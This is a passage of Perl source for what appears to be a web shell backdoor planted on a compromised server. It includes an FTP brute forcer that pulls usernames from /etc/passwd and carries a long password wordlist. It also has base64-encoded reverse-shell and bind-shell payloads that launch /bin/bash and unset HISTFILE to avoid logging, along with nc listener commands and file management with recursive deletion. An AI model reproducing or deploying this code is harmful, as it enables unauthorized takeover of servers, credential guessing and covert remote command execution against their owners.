  896. <input name="s" class="submit" type="submit" value="Enter">
  897. <br>Command: <run> $RunCommand </run>
  898. <input type="hidden" name="file" value="$file" > $save <br> $msg
  899. <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  900. END
  901.  
  902. $result .= &HtmlSpecialChars(&FileOpen($File,0));
  903. $result .= "</textarea>";
  904. $result .= "</form>";
  905. return $result;
  906. }
  907. #==============================================================================
  908. # File Open
  909. #==============================================================================
  910. sub FileOpen($){
  911. my $file = shift;
  912. my $binary = shift;
  913. my $result = "";
  914. my $n = "";
  915. if(-f $file){
  916. if(open(FILE,$file)){
  917. if($binary){
  918. binmode FILE;
  919. }
  920. while (($n = read FILE, $data, 1024) != 0) {
  921. $result .= $data;
  922. }
  923. close(FILE);
  924. }
  925. }else
  926. {
  927. return "Not's a File!";
  928. }
  929. return $result;
  930. }
  931. #==============================================================================
  932. # Save File
  933. #==============================================================================
  934. sub SaveFile($)
  935. {
  936. my $Data= shift ;
  937. my $File= shift;
  938. $File=$CurrentDir.$PathSep.$File;
  939. if(open(FILE, ">$File"))
  940. {
  941. binmode FILE;
  942. print FILE $Data;
  943. close FILE;
  944. return 1;
  945. }else
  946. {
  947. return 0;
  948. }
  949. }
  950. #------------------------------------------------------------------------------
  951. # Brute Forcer Form
  952. #------------------------------------------------------------------------------
  953. sub BruteForcerForm
  954. {
  955. my $result="";
  956. $result .= <<END;
  957.  
  958. <table>
  959.  
  960. <tr>
  961. <td colspan="2" align="center">
  962. ####################################<br>
  963. Simple FTP brute forcer<br>
  964. Note: Only scan from 1 to 3 user :-S<br>
  965. ####################################
  966. <form name="f" method="POST" action="$ScriptLocation">
  967.  
  968. <input type="hidden" name="a" value="bruteforcer"/>
  969. </td>
  970. </tr>
  971. <tr>
  972. <td>User:<br><textarea rows="18" cols="30" name="user">
  973. END
  974. chop($result .= `less /etc/passwd | cut -d: -f1`);
  975. $result .= <<'END';
  976. </textarea></td>
  977. <td>
  978.  
  979. Pass:<br>
  980. <textarea rows="18" cols="30" name="pass">123pass
  981. 123!@#
  982. 123admin
  983. 123abc
  984. 123456admin
  985. 1234554321
  986. 12344321
  987. pass123
  988. admin
  989. admincp
  990. administrator
  991. matkhau
  992. passadmin
  993. p@ssword
  994. p@ssw0rd
  995. password
  996. 123456
  997. 1234567
  998. 12345678
  999. 123456789
  1000. 1234567890
  1001. 111111
  1002. 000000
  1003. 222222
  1004. 333333
  1005. 444444
  1006. 555555
  1007. 666666
  1008. 777777
  1009. 888888
  1010. 999999
  1011. 123123
  1012. 234234
  1013. 345345
  1014. 456456
  1015. 567567
  1016. 678678
  1017. 789789
  1018. 123321
  1019. 456654
  1020. 654321
  1021. 7654321
  1022. 87654321
  1023. 987654321
  1024. 0987654321
  1025. admin123
  1026. admin123456
  1027. abcdef
  1028. abcabc
  1029. !@#!@#
  1030. !@#$%^
  1031. !@#$%^&*(
  1032. !@#$$#@!
  1033. abc123
  1034. anhyeuem
  1035. iloveyou
  1036. khongcogi
  1037. khongcopass
  1038. 6{J.;}27U~2b
  1039. H=B(+*IOy#zV
  1040. GAa1-W}![RM#
  1041. Z0D%5B-WCDqL
  1042. GOA%oMq^ct=g
  1043. )y{8EEMI-Xqx
  1044. h6Ug~zoea}!)
  1045. 5,Tgzbx&t8=Q
  1046. C0UcAd-xI6%[
  1047. Jy.l_=w{yrpS
  1048. =nRcR~=dq}-.
  1049. }a}@&3{T8Q8W
  1050. AN#H,GIAD$g;
  1051. Tawd(qnZEaWm
  1052. S9znhPU1$uAd
  1053. ZP@0*KaC[EF%
  1054. mqyXZKt$gc%2
  1055. e7sK-DC+iKy[
  1056. A)@&{uEef*Mu
  1057. KU![sc&J*Mxv
  1058. *_p=S@k]CbJ9
  1059. )0N-D8*%.f~D
  1060. NVap_pskroGh
  1061. ;o[P2KDZxovR
  1062. gq;ZIDlPt=e;
  1063. o6#^!D~7e4RV
  1064. }ACK%$#HIvo=
  1065. pqfqNH2D#msW
  1066. S~rylC0$vpiL
  1067. }?(hR0Q&B}6$
  1068. @;KnvLrc%,=S
  1069. It%fansId.6c
  1070. [UdTA#uNT]+W
  1071. MI,;@=n.od_S
  1072. %OOn^=4u3wa,
  1073. =sXOp1PVZD)U
  1074. 6eK6DQPpgleW
  1075. [Ponac0@Ms0{
  1076. Zg9zy&b5Tc}M
  1077. g_]T1ARtZHPG
  1078. ]OS.3O~t+xa!
  1079. -buXx,_^;]V*
  1080. vdM6sH9_i~F1
  1081. ;acD3!3uC+tR
  1082. e5QyK;v1wtgf
  1083. y&b}y+#AJ;}W
  1084. 7Th9Mrsx_27e
  1085. 3wBaei1q4Mtb
  1086. yB2w5ErCiFqg
  1087. 4%bp!ecNLOhf
  1088. 4%bp!ecNLOhf
  1089. RL,k)0QCd]D{
  1090. *-=#Z]#H+$Qb
  1091. LxOC]2GZk%Lz
  1092. f={ulE^P)MdI
  1093. Qs9*=T8bTco}
  1094. Weg[MX.RI6sT
  1095. Hm,8}A_~tH4q
  1096. gMAfHlL=pxGH
  1097. a7DZD}K$x^{8
  1098. A5?=Eb,wNhbD
  1099. BBXz9)Po[y4.
  1100. T[C!74poK@kQ
  1101. 0d3,q@7[hoOF
  1102. 9_C7p!G;WPRx
  1103. 1D32%u9KeFXL
  1104. .F}L&vdp}tt!
  1105. )D+cBJ_*?DL*
  1106. 4*GuG9.ws&^O
  1107. 6@~u%N$mJ&&2
  1108. +KXkI;qf43za
  1109. %@9e6!2[k]0)
  1110. iI!v?Is~qF.s
  1111. 1mfyEw6@3$~K
  1112. L+?~fT_2gog4
  1113. Ko~%%@?bZLA}
  1114. .B8cIAxMo(wS
  1115. kO@@(Q?3C+(a
  1116. q*uTCX~yKA}%
  1117. O@0$UFvtyB.%
  1118. #bvZ..C+*-+v
  1119. R(Zp$?0MNV[F
  1120. S)C,Blx17s^N
  1121. Se[DU9gzU4vM
  1122. +Dypq$27[E@]
  1123. Jh_Kq+A11pdH
  1124. $O{SkGpQ8a$i
  1125. &)]FkqE+BTpA
  1126. m~neUlM}X6e4
  1127. {x#)g1LTg]R!
  1128. dcR.UI_PvO}_
  1129. mR&{Qu5CE),!
  1130. Ah[K!QaFL_#P
  1131. 7u*JU~gcJKoc
  1132. hU$BEA_G!-?2
  1133. mtRH2gf3!ilu
  1134. GLW)KuH*eC~*
  1135. 2O];bfsfh.95
  1136. &w@N!.Wr]fuy
  1137. K#{Gx$9WPLK)
  1138. _R]JCN5[&%+.
  1139. 5Z2na+d3sUK?
  1140. NGRbCk&x4aH+
  1141. AUO&T[u=J]b&
  1142. ]$*!8G})(146
  1143. BpMTv210H+PF
  1144. 4c~qg4ovx(Gb
  1145. 10t_.!1#ZTs_
  1146. Xe8@T1idmG.*
  1147. C%4aN1sIim)?
  1148. LX0-mCbkX#+W
  1149. NkX29c;Cifdn
  1150. I%kooy,_19[s
  1151. 5IATz{c~snd(
  1152. 4Qxv$?r3{m6o
  1153. 7;UOhs@dpiV@
  1154. L?PASV-8Fzma
  1155. Zroo,O=}~,rE
  1156. W3u*i-y]I5Wg
  1157. d;qCJyCe4WJl
  1158. 9=t6.yh~Vv2m
  1159. JFI{!!AVx)x.
  1160. c!?0zoSP,Q@h
  1161. ?pO#XMHa8nk7
  1162. V~u;$TT9A+t;
  1163. ]$J]i;_Xfl15
  1164. DS^4VhDfJqUv
  1165. -8ZhvOZm9PxQ
  1166. y,3S,FTSQB^)
  1167. 2)*gh=Z3,}xT
  1168. kPSB6R.!=JoQ
  1169. %$968I.ry[5J
  1170. 2F6W&4n+Fn^O
  1171. +Qw@=0}_H{2T
  1172. xk)~CK874PWK
  1173. Vt.NSRvC8Bad
  1174. Atth2Ugh574G
  1175. whgO[6ZOX[n+
  1176. na_7?{ybax]5
  1177. J3iF,~*(e%F@
  1178. =&FW~hZD]p%#
  1179. nvl.1LCu]E1&
  1180. &xk^PE%i!O#P
  1181. IWJLl&hJqz=i
  1182. ^z0sRxJw!CLo
  1183. 8^V#l$7+of.[
  1184. 5lWA,P1~g(L0
  1185. CFIGUvb;E3KI
  1186. _G@,AQES$vLe
  1187. l^{EnA$n[9Nb
  1188. E1g(0^q#Xo;g
  1189. &MhKF1;W3o0&
  1190. 50422B2ag&em
  1191. L953H+mvqKGa
  1192. L)F_QO@y2^td
  1193. HAbK@-&TATSM
  1194. ##9m+di*J)@b
  1195. fd,br%iW51rM
  1196. !E-m^7MNEL{L
  1197. &o2%J@_Rq[uT
  1198. $&@y8pE0S=0E
  1199. IurmrKtzT$49
  1200. LT].SXo#lD2p
  1201. R#;h&!&.zCIR
  1202. Lwky!-O-AfX&
  1203. Z^=*W[h3_h;.
  1204. gNricVq{i=-.
  1205. ,i~@6!w2ndzQ
  1206. p6hSbzs#IKg1
  1207. ZhbelT~N2WxW
  1208. &,sr4TOdoMA-
  1209. 3kIvrz?^TS#K
  1210. oTv+1@[4h5{C
  1211. mr_XB@~HG*pi
  1212. ]qaR6-T.0.9O
  1213. TPw.CD9Z6*L$
  1214. s(A.D@xvO5%9
  1215. b!#&@vTvN*.8
  1216. ,o#)r3T-5Ng[
  1217. e6W!fbRgr]u9
  1218. &;N0$%G8!yX.
  1219. l)IsV$R-&W@5
  1220. PxTkF3ObSn[6
  1221. ^lKa,r~c=)t3
  1222. U[wt*W)}OeHe
  1223. h{Dcyh*-h~9@
  1224. aSb9%CrWNkMN
  1225. n###ln.p@zhk
  1226. 9.+P[WP!)g-G
  1227. yk+[1R~a@wH0
  1228. y=5r$^5V^pmU
  1229. 3%KnpTF-gmUr
  1230. UBv.H~{o)o8p
  1231. dK{=)75&EFU5
  1232. *EesgOGI4x?[
  1233. E6X5k#{A65xT
  1234. pux)DSkFLITg
  1235. w3JV]!5id}A]
  1236. UBT3u-0H)~M%
  1237. 5%C.7[&70r~l
  1238. IJI[H;n4^5Ux
  1239. -@0C(S*~A7vR
  1240. WAr*N{O8C($f
  1241. T&+hZ-$vrxf)
  1242. uFDsQ!dV{HG{
  1243. MxA7rw0kzJ&4
  1244. LUMElq7FC1ZD
  1245. {~%3}0)1uZP)
  1246. v-nLZi!+lU(!
  1247. =ua=TQVQ)$p0
  1248. VoITXof^Hu_^
  1249. zrI&ESoH~{VH
  1250. RoK,%v~;.],F
  1251. l,DM69MCDNq_
  1252. 6PZe2nXxy_gp
  1253. uiwQ~]Ty2a5k
  1254. 805TbKHCWx*%
  1255. kr3^aW7AktRE
  1256. Qq8!*IJU4,kI
  1257. XUb_2mp}D%Q2
  1258. x{DN)CE;1q47
  1259. HrR%@r$tH}{6
  1260. n!Ae*5srEpOi
  1261. NB}AGwrV[X7s
  1262. 8^p!-&;Pd-v#
  1263. r%t6d3W&-,GP
  1264. (k-g1*dM,ULz
  1265. U%pOX2n(g3S-
  1266. #1_.*Oo08V6.
  1267. Bug(+dsbwHIu
  1268. TcB}t@4.NK~f
  1269. G8_ado+;buEy
  1270. nasVB-;2LB0y
  1271. f%Xear2%yewE
  1272. @7,uiqvJF$LA
  1273. I4}6,MF2xKaB
  1274. VOg.gFMp?;,)
  1275. P8O0z)#&ozD1
  1276. PnXN.37QGXb*
  1277. ?fzvTO^1ax4H
  1278. ^h!N=laHgACI
  1279. A5]W(0Xk[bxO
  1280. d[5dIN+^)5O6
  1281. iAs8QxL&PUn#
  1282. @K8+Q].SB;pz
  1283. lU#D.1I9)hy]
  1284. ]dJ]]gvU8^Ln
  1285. 81GPU4uOqSEM
  1286. %H_beXCKy@?=
  1287. ]aa}my57}xHS
  1288. TnPIB?Ama-]3
  1289. B^8*#^lA[gfk
  1290. a3Ac5xDD;CH3
  1291. &wu}Mi.%DZO_
  1292. m;Zc1-id^4-l
  1293. ?Ois8KTL;U=M
  1294. q~vP7r[D9Ud,
  1295. IPzy-GLSF4kJ
  1296. [rh%UTLqTaAR
  1297. CMaID.al^s!G
  1298. 7kbh!k3kEL-0
  1299. (NSsp2gB$_$?
  1300. .fSh^k^{6;Lx
  1301. .h9G[0a=L$_5
  1302. 1[@xxfPT;)Br
  1303. f(3xrsb,#.i-
  1304. M+Ll?JCO3n2E
  1305. t[uDpIcv#XC0
  1306. 0!,TN=;B,O#z
  1307. ~NtU;t[e&=[6
  1308. p{y+Mh#Z}a4L
  1309. 9ys~IMhLZ=-r
  1310. 7k9D46zT{!bA
  1311. F1V$89dU,-HL
  1312. RkEvg2V6e@6W
  1313. 4CqGz,#t@LUX
  1314. _DIcbfn;MP2z
  1315. U$Ppw_wVIT*L
  1316. nJyXEN#&WKUA
  1317. Q?se[QlB(o^&
  1318. J7[^$}Dk^oN9
  1319. meb^p,*,V(&k
  1320. t;_14){Pb8ML
  1321. }=~~{-6wT0tU
  1322. 7XLnF;cFaIet
  1323. #W?kxL@~icdr
  1324. B6_6L.2B[r#E
  1325. ,FybkRz4#A1u
  1326. Ix&,WTV[ee9T
  1327. I-5di^tsGy)3
  1328. s2,ydDI.G2*C
  1329. cNTwx%4XUx08
  1330. coGD8;8r(!Sn
  1331. ]QR;]~3pX@kT
  1332. ZL^=PE-$#4b9
  1333. [H}WgcnaqleR
  1334. +6([$b[AFDty
  1335. x!,*#LsWfWdb
  1336. rie3%sC[#tD0
  1337. .Mrkh&fZ-+2Q
  1338. }oT]iJhmu~vH
  1339. 5(T-D]{JUDrB
  1340. SBD6XA~P?k-!
  1341. i=ie_lfq+mp^
  1342. T{]EKaAXmd!(
  1343. U1,C&vN;e~w8
  1344. M$&P_t_TcW{S
  1345. t.XS_4@N!OHQ
  1346. rGU!!-_E-n5p
  1347. -[fZ9RX]TEiH
  1348. WVTzObpA.H2Q
  1349. s(mb[bIol]u;
  1350. NA~zveUe&qy}
  1351. kgFfm*7r11Of
  1352. =@PCHuXbLEot
  1353. fduA11LeFBD}
  1354. ubTgm9b=,EAF
  1355. J2BskG{FZTi]
  1356. @^b4}X0Mhlk=
  1357. 5S!l9Z@G^8Bn
  1358. =69=Mr.%LhXF
  1359. (^BOG![Ol-D;
  1360. 7MQ[&2~GqIku
  1361. 7pW-O4}#7R6g
  1362. dEX;0TVRlHo*
  1363. -&~#9OqiwZmh
  1364. NnRt#~$wrGu@
  1365. k6r^%)+ywnp.
  1366. D1$5tEPHXZ{6
  1367. Ib=M3RN!ThMM
  1368. WJSX7Z4T#w=5
  1369. ]Pa$7&QKngB(
  1370. </textarea>
  1371. </td>
  1372. </tr>
  1373. <tr>
  1374. <td colspan="2" align="center">
  1375. Sleep:<select name="sleep">
  1376.  
  1377. <option>0</option>
  1378. <option>1</option>
  1379. <option>2</option>
  1380.  
  1381. <option>3</option>
  1382. </select>
  1383. <input type="submit" class="submit" value="Brute Forcer"/></td></tr>
  1384. </form>
  1385. </table>
  1386. END
  1387. return $result;
  1388. }
  1389. #------------------------------------------------------------------------------
  1390. # Brute Forcer
  1391. #------------------------------------------------------------------------------
  1392. sub BruteForcer
  1393. {
  1394. my $result="";
  1395. $Server=$ENV{'SERVER_ADDR'};
  1396. if($in{'user'} eq "")
  1397. {
  1398. $result .= &BruteForcerForm;
  1399. }else
  1400. {
  1401. use Net::FTP;
  1402. @user= split(/\n/, $in{'user'});
  1403. @pass= split(/\n/, $in{'pass'});
  1404. chomp(@user);
  1405. chomp(@pass);
  1406. $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  1407. foreach $username (@user)
  1408. {
  1409. if($username ne "")
  1410. {
  1411. foreach $password (@pass)
  1412. {
  1413. $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1414. if($ftp->login("$username","$password"))
  1415. {
  1416. $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1417. $ftp->quit();
  1418. break;
  1419. }
  1420. if($in{'sleep'} ne "0")
  1421. {
  1422. sleep(int($in{'sleep'}) * 1000);
  1423. }
  1424. $ftp->quit();
  1425. }
  1426. }
  1427. }
  1428. $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1429. }
  1430. return $result;
  1431. }
  1432. #------------------------------------------------------------------------------
  1433. # Backconnect Form
  1434. #------------------------------------------------------------------------------
  1435. sub BackBindForm
  1436. {
  1437. return <<END;
  1438. <br><br>
  1439.  
  1440. <table>
  1441. <tr>
  1442. <form name="f" method="POST" action="$ScriptLocation">
  1443. <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  1444. <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1445. Port: <input type="text" size="6" name="clientport" value="80" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1446.  
  1447. <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td>
  1448. </form>
  1449. </tr>
  1450. <tr>
  1451. <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1452. <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a>
  1453. <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
  1454.  
  1455. </tr>
  1456. </table>
  1457.  
  1458. <br><br>
  1459. <table>
  1460. <tr>
  1461. <form method="POST" action="$ScriptLocation">
  1462. <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1463.  
  1464. <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1465.  
  1466. Password: <input type="text" size="12" name="bindpass" value="vinakid"></td>
  1467. <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td>
  1468. </form>
  1469. </tr>
  1470. <tr>
  1471. <td colspan=3><font color=#FFFFFF>[+] Testing ....
  1472. <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
  1473.  
  1474. </tr>
  1475. </table><br>
  1476. END
  1477. }
  1478. #------------------------------------------------------------------------------
  1479. # Backconnect use perl
  1480. #------------------------------------------------------------------------------
  1481. sub BackBind
  1482. {
  1483. use Socket;
  1484. $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
  1485. $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1486.  
  1487. $ClientAddr = $in{'clientaddr'};
  1488. $ClientPort = int($in{'clientport'});
  1489. if($ClientPort eq 0)
  1490. {
  1491. return &BackBindForm;
  1492. }elsif(!$ClientAddr eq "")
  1493. {
  1494. $Data=decode_base64($backperl);
  1495. if(-w "/tmp/")
  1496. {
  1497. $File="/tmp/backconnect.pl";
  1498. }else
  1499. {
  1500. $File=$CurrentDir.$PathSep."backconnect.pl";
  1501. }
  1502. open(FILE, ">$File");
  1503. print FILE $Data;
  1504. close FILE;
  1505. system("perl $File $ClientAddr $ClientPort");
  1506. unlink($File);
  1507. exit 0;
  1508. }else
  1509. {
  1510. $Data=decode_base64($bindperl);
  1511. if(-w "/tmp")
  1512. {
  1513. $File="/tmp/bindport.pl";
  1514. }else
  1515. {
  1516. $File=$CurrentDir.$PathSep."bindport.pl";
  1517. }
  1518. open(FILE, ">$File");
  1519. print FILE $Data;
  1520. close FILE;
  1521. system("perl $File $ClientPort");
  1522. unlink($File);
  1523. exit 0;
  1524. }
  1525. }
  1526. #------------------------------------------------------------------------------
  1527. # Array List Directory
  1528. #------------------------------------------------------------------------------
  1529. sub RmDir($)
  1530. {
  1531. my $dir = shift;
  1532. if(opendir(DIR,$dir))
  1533. {
  1534. while($file = readdir(DIR))
  1535. {
  1536. if(($file ne ".") && ($file ne ".."))
  1537. {
  1538. $file= $dir.$PathSep.$file;
  1539. if(-d $file)
  1540. {
  1541. &RmDir($file);
  1542. }
  1543. else
  1544. {
  1545. unlink($file);
  1546. }
  1547. }
  1548. }
  1549. closedir(DIR);
  1550. }
  1551. }
  1552. sub FileOwner($)
  1553. {
  1554. my $file = shift;
  1555. if(-e $file)
  1556. {
  1557. ($uid,$gid) = (stat($file))[4,5];
  1558. if($WinNT)
  1559. {
  1560. return "???";
  1561. }
  1562. else
  1563. {
  1564. $name=getpwuid($uid);
  1565. $group=getgrgid($gid);
  1566. return $name."/".$group;
  1567. }
  1568. }
  1569. return "???";
  1570. }
  1571. sub ParentFolder($)
  1572. {
  1573. my $path = shift;
  1574. my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1575. chop($path = `$Comm`);
  1576. return $path;
  1577. }
  1578. sub FilePerms($)
  1579. {
  1580. my $file = shift;
  1581. my $ur = "-";
  1582. my $uw = "-";
  1583. if(-e $file)
  1584. {
  1585. if($WinNT)
  1586. {
  1587. if(-r $file){ $ur = "r"; }
  1588. if(-w $file){ $uw = "w"; }
  1589. return $ur . " / " . $uw;
  1590. }else
  1591. {
  1592. $mode=(stat($file))[2];
  1593. $result = sprintf("%04o", $mode & 07777);
  1594. return $result;
  1595. }
  1596. }
  1597. return "0000";
  1598. }
  1599. sub FileLastModified($)
  1600. {
  1601. my $file = shift;
  1602. if(-e $file)
  1603. {
  1604. ($la) = (stat($file))[9];
  1605. ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1606. $y = $y + 1900;
  1607. @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1608. $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1609. return $lmtime;
  1610. }
  1611. return "???";
  1612. }
  1613. sub FileSize($)
  1614. {
  1615. my $file = shift;
  1616. if(-f $file)
  1617. {
  1618. return -s "$file";
  1619. }
  1620. return "0";
  1621. }
  1622. sub ParseFileSize($)
  1623. {
  1624. my $size = shift;
  1625. if($size <= 1024)
  1626. {
  1627. return $size. " B";
  1628. }
  1629. else
  1630. {
  1631. if($size <= 1024*1024)
  1632. {
  1633. $size = sprintf("%.02f",$size / 1024);
  1634. return $size." KB";
  1635. }
  1636. else
  1637. {
  1638. $size = sprintf("%.2f",$size / 1024 / 1024);
  1639. return $size." MB";
  1640. }
  1641. }
  1642. }
  1643. sub trim($)
  1644. {
  1645. my $string = shift;
  1646. $string =~ s/^\s+//;
  1647. $string =~ s/\s+$//;
  1648. return $string;
  1649. }
  1650. sub AddSlashes($)
  1651. {
  1652. my $string = shift;
  1653. $string=~ s/\\/\\\\/g;
  1654. return $string;
  1655. }
  1656. sub TrimSlashes($)
  1657. {
  1658. my $string = shift;
  1659. $string=~ s/\/\//\//g;
  1660. $string=~ s/\\\\/\\/g;
  1661. return $string;
  1662. }
  1663. sub ListDir
  1664. {
  1665. my $path = &TrimSlashes($CurrentDir.$PathSep);
  1666. my $result = "<form name='f' onSubmit=\"Encoder('d')\" action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' id='d' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  1667. if(-d $path)
  1668. {
  1669. my @fname = ();
  1670. my @dname = ();
  1671. if(opendir(DIR,$path))
  1672. {
  1673. while($file = readdir(DIR))
  1674. {
  1675. $f=$path.$file;
  1676. if(-d $f)
  1677. {
  1678. push(@dname,$file);
  1679. }
  1680. else
  1681. {
  1682. push(@fname,$file);
  1683. }
  1684. }
  1685. closedir(DIR);
  1686. }
  1687. @fname = sort { lc($a) cmp lc($b) } @fname;
  1688. @dname = sort { lc($a) cmp lc($b) } @dname;
  1689. $result .= "<div><table width='90%' class='listdir'>
  1690. <tr style='background-color: #3e3e3e'><th>File Name</th>
  1691. <th width='100'>File Size</th>
  1692. <th width='150'>Owner</th>
  1693. <th width='100'>Permission</th>
  1694. <th width='150'>Last Modified</th>
  1695. <th width='230'>Action</th></tr>";
  1696. my $style="notline";
  1697. my $i=0;
  1698. foreach my $d (@dname)
  1699. {
  1700. $style= ($style eq "line") ? "notline": "line";
  1701. $d = &trim($d);
  1702. $dirname=$d;
  1703. if($d eq "..")
  1704. {
  1705. $d = &ParentFolder($path);
  1706. }
  1707. elsif($d eq ".")
  1708. {
  1709. next;
  1710. }
  1711. else
  1712. {
  1713. $d = $path.$d;
  1714. }
  1715. $result .= "<tr class='$style'><td id='File_$i' class='dir'><a href='?a=gui&d=".&EncodeDir($d)."'>[ ".$dirname." ]</a></td>";
  1716. $result .= "<td>DIR</td>";
  1717. $result .= "<td>".&FileOwner($d)."</td>";
  1718. $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1719. $result .= "<td>".&FileLastModified($d)."</td>";
  1720. $result .= "<td><a onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."'); return false; \">Rename</a> | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$dirname'>Remove</a></td>";
  1721. $result .= "</tr>";
  1722. $i++;
  1723. }
  1724. foreach my $f (@fname)
  1725. {
  1726. $style= ($style eq "line") ? "notline": "line";
  1727. $file=$f;
  1728. $f = $path.$f;
  1729. my $action = encode_base64("edit ".$file);
  1730. $view = "?dir=".$path."&view=".$f;
  1731. $result .= "<tr class='$style'><td id='File_$i' class='file'><a href='?a=command&d=".&EncodeDir($path)."&c=".$action."'>".$file."</a></td>";
  1732. $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1733. $result .= "<td>".&FileOwner($f)."</td>";
  1734. $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1735. $result .= "<td>".&FileLastModified($f)."</td>";
  1736. $result .= "<td><a onclick=\"rename_form($i,'$file','f'); return false;\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$file'>Remove</a></td>";
  1737. $result .= "</tr>";
  1738. $i++;
  1739. }
  1740. $result .= "</table></div>";
  1741. }
  1742. return $result;
  1743. }
  1744. #------------------------------------------------------------------------------
  1745. # Try to View List User
  1746. #------------------------------------------------------------------------------
